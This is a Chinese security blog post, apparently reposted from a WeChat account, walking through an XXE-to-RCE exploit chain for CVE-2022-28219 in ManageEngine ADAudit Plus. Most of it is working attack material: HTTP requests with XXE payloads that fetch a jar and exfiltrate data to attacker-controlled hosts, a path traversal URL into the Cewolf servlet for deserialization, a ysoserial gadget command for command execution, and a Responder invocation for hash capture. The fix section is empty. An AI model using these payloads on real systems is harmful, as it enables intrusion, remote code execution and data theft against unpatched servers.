免责声明

    本公众号仅用于技术交流与学习，利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号只是知识的搬运工，取之于民用之于民。

环境搭建

https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe

分析

Cewolf readObject

xxe

/api/agent对应com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet#processRequest

串联

https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java

POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json

[
    {
        "DomainName": "test.local",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM "jar:http://172.16.16.1:2122/upload.jar!/file.txt"> ]><foo>&ssrf;</foo>"
    }
]

POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json

[
    {
        "DomainName": "test.local",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [  <!ENTITY % file SYSTEM "file:///C:/Users/Administrator/AppData/Local/Temp/">  <!ENTITY % dtd SYSTEM "http://192.168.1.207:9090/data.dtd"> %dtd;]><data>&send;</data>"
    }
]

http://172.16.16.132:8081/cewolf/a.png?img=/../../../../../../../../../Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp

gadget可以用cb192：

java -jar .ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"

一些问题

1. 如何获取DomainName

2. c:/Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp 中administrator怎么判断？

sudo python3 Responder.py -I ens160

修复

原文始发于微信公众号（Hack All）：CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE